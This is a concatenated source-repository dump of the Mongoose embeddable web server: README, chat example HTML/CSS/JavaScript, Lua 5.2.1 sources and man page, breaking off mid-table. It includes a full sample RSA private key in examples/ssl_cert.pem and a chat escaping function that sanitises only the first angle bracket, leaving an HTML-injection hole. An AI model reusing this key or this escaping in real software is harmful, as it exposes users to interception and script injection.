0x00, 0x00, 0x00, /* b. */ 41 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c. */ 43 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d. */ 45 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e. */ 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* f. */ 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 50 | }; 51 | 52 | #endif /* } */ 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Project Mission 2 | 3 | Project mission is to provide easy to use, powerful, embeddable web server. 4 | 5 | # Overview 6 | 7 | Mongoose keeps the balance between functionality and 8 | simplicity by carefully selected list of features: 9 | 10 | - Liberal, commercial-friendly 11 | [MIT license](http://en.wikipedia.org/wiki/MIT_License) 12 | - Works on Windows, Mac, UNIX, iPhone, Android, and many other platforms 13 | - Scripting and database support (Lua Server Pages + Sqlite, see 14 | [page.lp](https://github.com/valenok/mongoose/blob/master/test/page.lp) ), 15 | which provides ready to go, powerful web development platform in 16 | one single-click executable with **no dependencies**: forget LAMP! 17 | - Support for CGI, SSL, SSI, Digest (MD5) authorization, Websocket, WEbDAV 18 | - Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service 19 | - Download speed limit based on client subnet or URI pattern 20 | - Simple and clean embedding API, 21 | [mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h). 22 | The source is in single 23 | [mongoose.c](https://github.com/valenok/mongoose/blob/master/mongoose.c) file 24 | to make things easy. Embedding examples: 25 | [hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c), 26 | [post.c](https://github.com/valenok/mongoose/blob/master/examples/post.c), 27 | [upload.c](https://github.com/valenok/mongoose/blob/master/examples/upload.c), 28 | [websocket.c](https://github.com/valenok/mongoose/blob/master/examples/websocket.c) 29 | - HTTP client capable of sending arbitrary HTTP/HTTPS requests 30 | - [User Manual](https://github.com/valenok/mongoose/blob/master/UserManual.md) 31 | 32 | Note that Windows and MacOS binaries have following 3rd party software 33 | compiled in: 34 | WolfSSL lightweight SSL library, 35 | SQLite embedded database, 36 | Lua embedded scripting engine. 37 | 38 | Questions can be asked at 39 | [mongoose-users@google.com](http://groups.google.com/group/mongoose-users) 40 | mailing list. 41 | 42 | [![ ](https://cruel-carlota.pagodabox.com/2a613890c1f4b60e5919a9c1dd3caca2 "githalytics.com")](http://githalytics.com/valenok/mongoose) 43 | 44 | 45 | # Author 46 | 47 | I am Sergey Lyubka, a software engineer from Galway, Ireland. I started 48 | working on Mongoose in 2004, and since then continuously improve it, 49 | investing thousands of hours of work. My other project I'm contributing to the 50 | community for free is 51 | [Super Light Regular Expression library](http://code.google.com/p/slre). 52 | -------------------------------------------------------------------------------- /examples/html/index.html: -------------------------------------------------------------------------------- 1 | 3 | 4 | 6 | 7 | Mongoose chat server 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 27 |
28 | 29 |
30 |
31 | 32 | 37 | 38 |
39 | 40 |
41 |
42 | Main room 43 |
44 |
45 |
46 | 47 | 48 | Type your message here and press enter 49 |
50 |
51 |
52 | 53 | 64 | 65 |
66 |
67 | 68 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /examples/html/style.css: -------------------------------------------------------------------------------- 1 | /* 2 | * vim:ts=2:sw=2:et:ai 3 | */ 4 | 5 | body { 6 | font: 13px Arial; margin: 0.5em 1em; 7 | } 8 | 9 | #logo { 10 | background: url('logo.png') no-repeat ; 11 | width: 160px; 12 | height: 40px; 13 | float: left; 14 | } 15 | 16 | td { 17 | text-align: left; 18 | } 19 | 20 | #motd { 21 | margin-left: 170px; 22 | } 23 | 24 | .infobox { 25 | background: #eed; 26 | padding: 1px 1em; 27 | } 28 | 29 | .help-message { 30 | color: #aaa; 31 | } 32 | 33 | #middle { 34 | margin: 0.5em 0; 35 | } 36 | 37 | #error { 38 | background: #c44; 39 | color: white; 40 | font-weight: bold; 41 | } 42 | 43 | #content, .menu-item-selected, .chat-title, .chat-content { 44 | background: #c3d9ff; 45 | } 46 | 47 | #content { 48 | overflow: hidden; 49 | min-height: 7em; 50 | padding: 1em; 51 | } 52 | 53 | .chat-title { 54 | padding: 1px 1ex; 55 | } 56 | 57 | .chat-content { 58 | padding: 1ex; 59 | } 60 | 61 | .chat-window { 62 | } 63 | 64 | .message-row { 65 | margin: 2px; 66 | border-bottom: 1px solid #bbb; 67 | } 68 | 69 | .message-timestamp { 70 | color: #484; 71 | } 72 | 73 | .message-user { 74 | margin-left: 0.5em; 75 | font-weight: bold; 76 | } 77 | 78 | .message-text { 79 | margin-left: 0.5em; 80 | } 81 | 82 | .message-user-server { 83 | color: purple; 84 | } 85 | 86 | .message-text-server { 87 | font-style: italic; 88 | } 89 | 90 | .main { 91 | padding: 0.5em; 92 | background: #f0fcff; 93 | } 94 | 95 | #menu { 96 | margin-top: 1em; 97 | min-width: 7em; 98 | float: left; 99 | } 100 | 101 | #footer { 102 | position: fixed; 103 | bottom: 0; 104 | right: 0; 105 | color: #ccc; 106 | padding: 0.5em; 107 | } 108 | 109 | .section { 110 | clear: both; 111 | } 112 | 113 | .hidden { 114 | display: none; 115 | } 116 | 117 | .menu-item { 118 | cursor: pointer; 119 | padding: 0.1em 0.5em; 120 | } 121 | 122 | .menu-item-selected { 123 | font-weight: bold; 124 | } 125 | 126 | .message-list { 127 | min-height: 1em; 128 | background: white; 129 | margin: 0.5em 0; 130 | } 131 | 132 | .rounded { 133 | border-radius: 6px; 134 | -moz-border-radius: 6px; 135 | -webkit-border-radius: 6px; 136 | } 137 | 138 | .left-rounded { 139 | border-radius: 6px 0 0 6px; 140 | -moz-border-radius: 6px 0 0 6px; 141 | -webkit-border-radius: 6px 0 0 6px; 142 | } 143 | 144 | .bottom-rounded { 145 | border-radius: 0 0 6px 6px; 146 | -moz-border-radius: 0 0 6px 6px; 147 | -webkit-border-radius: 0 0 6px 6px; 148 | } 149 | 150 | .top-rounded { 151 | border-radius: 6px 6px 0 0; 152 | -moz-border-radius: 6px 6px 0 0; 153 | -webkit-border-radius: 6px 6px 0 0; 154 | } 155 | -------------------------------------------------------------------------------- /lua-5.2.1/doc/lua.1: -------------------------------------------------------------------------------- 1 | .\" $Id: lua.man,v 1.13 2011/11/16 17:16:53 lhf Exp $ 2 | .TH LUA 1 "$Date: 2011/11/16 17:16:53 $" 3 | .SH NAME 4 | lua \- Lua interpreter 5 | .SH SYNOPSIS 6 | .B lua 7 | [ 8 | .I options 9 | ] 10 | [ 11 | .I script 12 | [ 13 | .I args 14 | ] 15 | ] 16 | .SH DESCRIPTION 17 | .B lua 18 | is the standalone Lua interpreter. 19 | It loads and executes Lua programs, 20 | either in textual source form or 21 | in precompiled binary form. 22 | (Precompiled binaries are output by 23 | .BR luac , 24 | the Lua compiler.) 25 | .B lua 26 | can be used as a batch interpreter and also interactively. 27 | .LP 28 | The given 29 | .I options 30 | are handled in order and then 31 | the Lua program in file 32 | .I script 33 | is loaded and executed. 34 | The given 35 | .I args 36 | are available to 37 | .I script 38 | as strings in a global table named 39 | .BR arg . 40 | If no options or arguments are given, 41 | then 42 | .B "\-v \-i" 43 | is assumed when the standard input is a terminal; 44 | otherwise, 45 | .B "\-" 46 | is assumed. 47 | .LP 48 | In interactive mode, 49 | .B lua 50 | prompts the user, 51 | reads lines from the standard input, 52 | and executes them as they are read. 53 | If a line does not contain a complete statement, 54 | then a secondary prompt is displayed and 55 | lines are read until a complete statement is formed or 56 | a syntax error is found. 57 | If a line starts with 58 | .BR '=' , 59 | then 60 | .B lua 61 | evaluates and displays 62 | the values of the expressions in the remainder of the line. 63 | .LP 64 | At the very start, 65 | before even handling the command line, 66 | .B lua 67 | checks the contents of the environment variables 68 | .B LUA_INIT_5_2 69 | or 70 | .BR LUA_INIT , 71 | in that order. 72 | If the contents is of the form 73 | .RI '@ filename ', 74 | then 75 | .I filename 76 | is executed. 77 | Otherwise, the string is assumed to be a Lua statement and is executed. 78 | .SH OPTIONS 79 | .TP 80 | .BI \-e " stat" 81 | execute statement 82 | .IR stat . 83 | .TP 84 | .B \-i 85 | enter interactive mode after executing 86 | .IR script . 87 | .TP 88 | .BI \-l " name" 89 | execute the equivalent of 90 | .IB name =require(' name ') 91 | before executing 92 | .IR script . 93 | .TP 94 | .B \-v 95 | show version information. 96 | .TP 97 | .B \-E 98 | ignore environment variables. 99 | .TP 100 | .B \-\- 101 | stop handling options. 102 | .TP 103 | .B \- 104 | stop handling options and execute the standard input as a file. 105 | .SH "SEE ALSO" 106 | .BR luac (1) 107 | .br 108 | The documentation at lua.org, 109 | especially section 7 of the reference manual. 110 | .SH DIAGNOSTICS 111 | Error messages should be self explanatory. 112 | .SH AUTHORS 113 | R. Ierusalimschy, 114 | L. H. de Figueiredo, 115 | W. Celes 116 | .\" EOF 117 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lmem.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lmem.c,v 1.84 2012/05/23 15:41:53 roberto Exp $ 3 | ** Interface to Memory Manager 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | 10 | #define lmem_c 11 | #define LUA_CORE 12 | 13 | #include "lua.h" 14 | 15 | #include "ldebug.h" 16 | #include "ldo.h" 17 | #include "lgc.h" 18 | #include "lmem.h" 19 | #include "lobject.h" 20 | #include "lstate.h" 21 | 22 | 23 | 24 | /* 25 | ** About the realloc function: 26 | ** void * frealloc (void *ud, void *ptr, size_t osize, size_t nsize); 27 | ** (`osize' is the old size, `nsize' is the new size) 28 | ** 29 | ** * frealloc(ud, NULL, x, s) creates a new block of size `s' (no 30 | ** matter 'x'). 31 | ** 32 | ** * frealloc(ud, p, x, 0) frees the block `p' 33 | ** (in this specific case, frealloc must return NULL); 34 | ** particularly, frealloc(ud, NULL, 0, 0) does nothing 35 | ** (which is equivalent to free(NULL) in ANSI C) 36 | ** 37 | ** frealloc returns NULL if it cannot create or reallocate the area 38 | ** (any reallocation to an equal or smaller size cannot fail!) 39 | */ 40 | 41 | 42 | 43 | #define MINSIZEARRAY 4 44 | 45 | 46 | void *luaM_growaux_ (lua_State *L, void *block, int *size, size_t size_elems, 47 | int limit, const char *what) { 48 | void *newblock; 49 | int newsize; 50 | if (*size >= limit/2) { /* cannot double it? */ 51 | if (*size >= limit) /* cannot grow even a little? */ 52 | luaG_runerror(L, "too many %s (limit is %d)", what, limit); 53 | newsize = limit; /* still have at least one free place */ 54 | } 55 | else { 56 | newsize = (*size)*2; 57 | if (newsize < MINSIZEARRAY) 58 | newsize = MINSIZEARRAY; /* minimum size */ 59 | } 60 | newblock = luaM_reallocv(L, block, *size, newsize, size_elems); 61 | *size = newsize; /* update only when everything else is OK */ 62 | return newblock; 63 | } 64 | 65 | 66 | l_noret luaM_toobig (lua_State *L) { 67 | luaG_runerror(L, "memory allocation error: block too big"); 68 | } 69 | 70 | 71 | 72 | /* 73 | ** generic allocation routine. 74 | */ 75 | void *luaM_realloc_ (lua_State *L, void *block, size_t osize, size_t nsize) { 76 | void *newblock; 77 | global_State *g = G(L); 78 | size_t realosize = (block) ? osize : 0; 79 | lua_assert((realosize == 0) == (block == NULL)); 80 | #if defined(HARDMEMTESTS) 81 | if (nsize > realosize && g->gcrunning) 82 | luaC_fullgc(L, 1); /* force a GC whenever possible */ 83 | #endif 84 | newblock = (*g->frealloc)(g->ud, block, osize, nsize); 85 | if (newblock == NULL && nsize > 0) { 86 | api_check(L, nsize > realosize, 87 | "realloc cannot fail when shrinking a block"); 88 | if (g->gcrunning) { 89 | luaC_fullgc(L, 1); /* try to free some memory... */ 90 | newblock = (*g->frealloc)(g->ud, block, osize, nsize); /* try again */ 91 | } 92 | if (newblock == NULL) 93 | luaD_throw(L, LUA_ERRMEM); 94 | } 95 | lua_assert((nsize == 0) == (newblock == NULL)); 96 | g->GCdebt = (g->GCdebt + nsize) - realosize; 97 | return newblock; 98 | } 99 | 100 | -------------------------------------------------------------------------------- /examples/ssl_cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH 3 | hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC 4 | EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1 5 | di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB 6 | Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH 7 | gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN 8 | HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP 9 | trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN 10 | x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK 11 | SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6 12 | +LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa 13 | N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS 14 | to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf 15 | BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6 16 | WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy 17 | Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG 18 | +AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF 19 | kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D 20 | g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b 21 | qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA 22 | d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a 23 | iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ 24 | BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5 25 | ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy 26 | hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg= 27 | -----END RSA PRIVATE KEY----- 28 | -----BEGIN CERTIFICATE----- 29 | MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB 30 | VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0 31 | cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG 32 | A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0 33 | IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB 34 | AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4 35 | akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH 36 | kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO 37 | kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1 38 | N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf 39 | uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB 40 | oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+ 41 | plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr 42 | P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW 43 | W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ 44 | 5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f 45 | SEGI4JSxV56lYg== 46 | -----END CERTIFICATE----- 47 | -----BEGIN DH PARAMETERS----- 48 | MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS 49 | 6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC 50 | -----END DH PARAMETERS----- 51 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lcode.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lcode.h,v 1.58 2011/08/30 16:26:41 roberto Exp $ 3 | ** Code generator for Lua 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lcode_h 8 | #define lcode_h 9 | 10 | #include "llex.h" 11 | #include "lobject.h" 12 | #include "lopcodes.h" 13 | #include "lparser.h" 14 | 15 | 16 | /* 17 | ** Marks the end of a patch list. It is an invalid value both as an absolute 18 | ** address, and as a list link (would link an element to itself). 19 | */ 20 | #define NO_JUMP (-1) 21 | 22 | 23 | /* 24 | ** grep "ORDER OPR" if you change these enums (ORDER OP) 25 | */ 26 | typedef enum BinOpr { 27 | OPR_ADD, OPR_SUB, OPR_MUL, OPR_DIV, OPR_MOD, OPR_POW, 28 | OPR_CONCAT, 29 | OPR_EQ, OPR_LT, OPR_LE, 30 | OPR_NE, OPR_GT, OPR_GE, 31 | OPR_AND, OPR_OR, 32 | OPR_NOBINOPR 33 | } BinOpr; 34 | 35 | 36 | typedef enum UnOpr { OPR_MINUS, OPR_NOT, OPR_LEN, OPR_NOUNOPR } UnOpr; 37 | 38 | 39 | #define getcode(fs,e) ((fs)->f->code[(e)->u.info]) 40 | 41 | #define luaK_codeAsBx(fs,o,A,sBx) luaK_codeABx(fs,o,A,(sBx)+MAXARG_sBx) 42 | 43 | #define luaK_setmultret(fs,e) luaK_setreturns(fs, e, LUA_MULTRET) 44 | 45 | #define luaK_jumpto(fs,t) luaK_patchlist(fs, luaK_jump(fs), t) 46 | 47 | LUAI_FUNC int luaK_codeABx (FuncState *fs, OpCode o, int A, unsigned int Bx); 48 | LUAI_FUNC int luaK_codeABC (FuncState *fs, OpCode o, int A, int B, int C); 49 | LUAI_FUNC int luaK_codek (FuncState *fs, int reg, int k); 50 | LUAI_FUNC void luaK_fixline (FuncState *fs, int line); 51 | LUAI_FUNC void luaK_nil (FuncState *fs, int from, int n); 52 | LUAI_FUNC void luaK_reserveregs (FuncState *fs, int n); 53 | LUAI_FUNC void luaK_checkstack (FuncState *fs, int n); 54 | LUAI_FUNC int luaK_stringK (FuncState *fs, TString *s); 55 | LUAI_FUNC int luaK_numberK (FuncState *fs, lua_Number r); 56 | LUAI_FUNC void luaK_dischargevars (FuncState *fs, expdesc *e); 57 | LUAI_FUNC int luaK_exp2anyreg (FuncState *fs, expdesc *e); 58 | LUAI_FUNC void luaK_exp2anyregup (FuncState *fs, expdesc *e); 59 | LUAI_FUNC void luaK_exp2nextreg (FuncState *fs, expdesc *e); 60 | LUAI_FUNC void luaK_exp2val (FuncState *fs, expdesc *e); 61 | LUAI_FUNC int luaK_exp2RK (FuncState *fs, expdesc *e); 62 | LUAI_FUNC void luaK_self (FuncState *fs, expdesc *e, expdesc *key); 63 | LUAI_FUNC void luaK_indexed (FuncState *fs, expdesc *t, expdesc *k); 64 | LUAI_FUNC void luaK_goiftrue (FuncState *fs, expdesc *e); 65 | LUAI_FUNC void luaK_goiffalse (FuncState *fs, expdesc *e); 66 | LUAI_FUNC void luaK_storevar (FuncState *fs, expdesc *var, expdesc *e); 67 | LUAI_FUNC void luaK_setreturns (FuncState *fs, expdesc *e, int nresults); 68 | LUAI_FUNC void luaK_setoneret (FuncState *fs, expdesc *e); 69 | LUAI_FUNC int luaK_jump (FuncState *fs); 70 | LUAI_FUNC void luaK_ret (FuncState *fs, int first, int nret); 71 | LUAI_FUNC void luaK_patchlist (FuncState *fs, int list, int target); 72 | LUAI_FUNC void luaK_patchtohere (FuncState *fs, int list); 73 | LUAI_FUNC void luaK_patchclose (FuncState *fs, int list, int level); 74 | LUAI_FUNC void luaK_concat (FuncState *fs, int *l1, int l2); 75 | LUAI_FUNC int luaK_getlabel (FuncState *fs); 76 | LUAI_FUNC void luaK_prefix (FuncState *fs, UnOpr op, expdesc *v, int line); 77 | LUAI_FUNC void luaK_infix (FuncState *fs, BinOpr op, expdesc *v); 78 | LUAI_FUNC void luaK_posfix (FuncState *fs, BinOpr op, expdesc *v1, 79 | expdesc *v2, int line); 80 | LUAI_FUNC void luaK_setlist (FuncState *fs, int base, int nelems, int tostore); 81 | 82 | 83 | #endif 84 | -------------------------------------------------------------------------------- /examples/html/main.js: -------------------------------------------------------------------------------- 1 | // This file is part of Mongoose project, http://code.google.com/p/mongoose 2 | 3 | var chat = { 4 | // Backend URL, string. 5 | // 'http://backend.address.com' or '' if backend is the same as frontend 6 | backendUrl: '', 7 | maxVisibleMessages: 10, 8 | errorMessageFadeOutTimeoutMs: 2000, 9 | errorMessageFadeOutTimer: null, 10 | lastMessageId: 0, 11 | getMessagesIntervalMs: 1000, 12 | }; 13 | 14 | chat.normalizeText = function(text) { 15 | return text.replace('<', '<').replace('>', '>'); 16 | }; 17 | 18 | chat.refresh = function(data) { 19 | 20 | if (data === undefined) { 21 | return; 22 | } 23 | 24 | $.each(data, function(index, entry) { 25 | var row = $('
').addClass('message-row').appendTo('#mml'); 26 | var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString(); 27 | $('') 28 | .addClass('message-timestamp') 29 | .html('[' + timestamp + ']') 30 | .prependTo(row); 31 | $('') 32 | .addClass('message-user') 33 | .addClass(entry.user ? '' : 'message-user-server') 34 | .html(chat.normalizeText((entry.user || '[server]') + ':')) 35 | .appendTo(row); 36 | $('') 37 | .addClass('message-text') 38 | .addClass(entry.user ? '' : 'message-text-server') 39 | .html(chat.normalizeText(entry.text)) 40 | .appendTo(row); 41 | chat.lastMessageId = Math.max(chat.lastMessageId, entry.id) + 1; 42 | }); 43 | 44 | // Keep only chat.maxVisibleMessages, delete older ones. 45 | while ($('#mml').children().length > chat.maxVisibleMessages) { 46 | $('#mml div:first-child').remove(); 47 | } 48 | }; 49 | 50 | chat.getMessages = function(enter_loop) { 51 | $.ajax({ 52 | dataType: 'jsonp', 53 | url: chat.backendUrl + '/ajax/get_messages', 54 | data: {last_id: chat.lastMessageId}, 55 | success: chat.refresh, 56 | error: function() { 57 | }, 58 | }); 59 | if (enter_loop) { 60 | window.setTimeout('chat.getMessages(true)', chat.getMessagesIntervalMs); 61 | } 62 | }; 63 | 64 | chat.handleMenuItemClick = function(ev) { 65 | $('.menu-item').removeClass('menu-item-selected'); // Deselect menu buttons 66 | $(this).addClass('menu-item-selected'); // Select clicked button 67 | $('.main').addClass('hidden'); // Hide all main windows 68 | $('#' + $(this).attr('name')).removeClass('hidden'); // Show main window 69 | }; 70 | 71 | chat.showError = function(message) { 72 | $('#error').html(message).fadeIn('fast'); 73 | window.clearTimeout(chat.errorMessageFadeOutTimer); 74 | chat.errorMessageFadeOutTimer = window.setTimeout(function() { 75 | $('#error').fadeOut('slow'); 76 | }, chat.errorMessageFadeOutTimeoutMs); 77 | }; 78 | 79 | chat.handleMessageInput = function(ev) { 80 | var input = ev.target; 81 | if (ev.keyCode != 13 || !input.value) 82 | return; 83 | //input.disabled = true; 84 | $.ajax({ 85 | dataType: 'jsonp', 86 | url: chat.backendUrl + '/ajax/send_message', 87 | data: {text: input.value}, 88 | success: function(ev) { 89 | input.value = ''; 90 | input.disabled = false; 91 | chat.getMessages(false); 92 | }, 93 | error: function(ev) { 94 | chat.showError('Error sending message'); 95 | input.disabled = false; 96 | }, 97 | }); 98 | }; 99 | 100 | $(document).ready(function() { 101 | $('.menu-item').click(chat.handleMenuItemClick); 102 | $('.message-input').keypress(chat.handleMessageInput); 103 | chat.getMessages(true); 104 | }); 105 | 106 | // vim:ts=2:sw=2:et 107 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lopcodes.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lopcodes.c,v 1.49 2012/05/14 13:34:18 roberto Exp $ 3 | ** Opcodes for Lua virtual machine 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #define lopcodes_c 9 | #define LUA_CORE 10 | 11 | 12 | #include "lopcodes.h" 13 | 14 | 15 | /* ORDER OP */ 16 | 17 | LUAI_DDEF const char *const luaP_opnames[NUM_OPCODES+1] = { 18 | "MOVE", 19 | "LOADK", 20 | "LOADKX", 21 | "LOADBOOL", 22 | "LOADNIL", 23 | "GETUPVAL", 24 | "GETTABUP", 25 | "GETTABLE", 26 | "SETTABUP", 27 | "SETUPVAL", 28 | "SETTABLE", 29 | "NEWTABLE", 30 | "SELF", 31 | "ADD", 32 | "SUB", 33 | "MUL", 34 | "DIV", 35 | "MOD", 36 | "POW", 37 | "UNM", 38 | "NOT", 39 | "LEN", 40 | "CONCAT", 41 | "JMP", 42 | "EQ", 43 | "LT", 44 | "LE", 45 | "TEST", 46 | "TESTSET", 47 | "CALL", 48 | "TAILCALL", 49 | "RETURN", 50 | "FORLOOP", 51 | "FORPREP", 52 | "TFORCALL", 53 | "TFORLOOP", 54 | "SETLIST", 55 | "CLOSURE", 56 | "VARARG", 57 | "EXTRAARG", 58 | NULL 59 | }; 60 | 61 | 62 | #define opmode(t,a,b,c,m) (((t)<<7) | ((a)<<6) | ((b)<<4) | ((c)<<2) | (m)) 63 | 64 | LUAI_DDEF const lu_byte luaP_opmodes[NUM_OPCODES] = { 65 | /* T A B C mode opcode */ 66 | opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_MOVE */ 67 | ,opmode(0, 1, OpArgK, OpArgN, iABx) /* OP_LOADK */ 68 | ,opmode(0, 1, OpArgN, OpArgN, iABx) /* OP_LOADKX */ 69 | ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_LOADBOOL */ 70 | ,opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_LOADNIL */ 71 | ,opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_GETUPVAL */ 72 | ,opmode(0, 1, OpArgU, OpArgK, iABC) /* OP_GETTABUP */ 73 | ,opmode(0, 1, OpArgR, OpArgK, iABC) /* OP_GETTABLE */ 74 | ,opmode(0, 0, OpArgK, OpArgK, iABC) /* OP_SETTABUP */ 75 | ,opmode(0, 0, OpArgU, OpArgN, iABC) /* OP_SETUPVAL */ 76 | ,opmode(0, 0, OpArgK, OpArgK, iABC) /* OP_SETTABLE */ 77 | ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_NEWTABLE */ 78 | ,opmode(0, 1, OpArgR, OpArgK, iABC) /* OP_SELF */ 79 | ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_ADD */ 80 | ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_SUB */ 81 | ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_MUL */ 82 | ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_DIV */ 83 | ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_MOD */ 84 | ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_POW */ 85 | ,opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_UNM */ 86 | ,opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_NOT */ 87 | ,opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_LEN */ 88 | ,opmode(0, 1, OpArgR, OpArgR, iABC) /* OP_CONCAT */ 89 | ,opmode(0, 0, OpArgR, OpArgN, iAsBx) /* OP_JMP */ 90 | ,opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_EQ */ 91 | ,opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_LT */ 92 | ,opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_LE */ 93 | ,opmode(1, 0, OpArgN, 